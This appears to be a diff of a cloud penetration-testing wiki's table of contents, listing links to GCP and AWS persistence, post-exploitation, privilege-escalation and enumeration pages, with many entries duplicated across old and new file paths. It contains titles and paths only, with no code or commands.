- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
@@ -192,7 +185,6 @@
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
@@ -224,139 +216,109 @@
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
- [AWS Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
- [AWS EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
- [AWS Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
- [AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
- [AWS SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
@@ -373,7 +335,6 @@
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
